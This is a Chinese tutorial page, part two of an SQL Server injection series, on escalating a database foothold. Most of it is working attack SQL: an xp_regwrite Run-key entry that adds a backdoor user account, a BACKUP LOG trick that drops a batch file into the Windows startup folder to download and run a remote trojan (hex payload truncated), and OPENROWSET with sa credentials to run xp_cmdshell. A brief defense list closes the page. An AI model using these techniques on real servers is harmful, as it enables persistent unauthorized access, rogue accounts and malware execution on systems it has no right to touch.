首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 注入攻擊大全與防禦實戰 (2) — 任意檔案寫入與任意權限執行命令

     編輯:關於SqlServer

二、寫入啟動項實現持久化

EXEC master.dbo.xp_regwrite
  'HKEY_LOCAL_MACHINE',
  'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
  'shell', 'REG_SZ',
  'C:\Windows\System32\cmd.exe /C NET USER ray ray /ADD';

下次重啟自動執行,達到持久化控制。

三、備份記錄檔至啟動資料夾

ALTER DATABASE msdb SET RECOVERY FULL;
CREATE TABLE cmd (a IMAGE);
BACKUP LOG msdb TO DISK = 'C:\cmd1' WITH INIT;
INSERT INTO cmd (a) VALUES (0x130A0D0A...);  -- 含 VBS 下載執行碼的十六進位
BACKUP LOG msdb TO DISK = 'C:\Documents and Settings\All Users\「開始」功能表\程式\啟動\1.bat';
DROP TABLE cmd;
  • 開啟完整復原模式 → 建立表 → 寫入惡意碼 → 備份記錄檔為 .bat 至啟動資料夾
  • 重啟後自動執行下載遠端木馬

四、任意權限用戶利用 OPENROWSET 回連執行

SELECT * FROM OPENROWSET(
  'SQLOLEDB',
  'UID=sa;PWD=admin;ADDRESS=127.0.0.1,7788;',
  'SET FMTONLY OFF EXEC MASTER..XP_CMDSHELL ''DIR C:\'''
);
  • 條件:知道 sa 帳密、目標開啟遠端連線、埠可達
  • 低權限注入點也能借道高權限連線執行命令

防禦補充

  • 嚴格限制 OPENROWSET/OPENDATASOURCE 權限(DISALLOW ADHOC ACCESS)
  • 監控註冊表關鍵鍵值變更(Run、RunOnce)
  • 禁止資料庫服務帳號寫入系統啟動資料夾
  • 審計 BACKUP LOG 非常規路徑操作
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved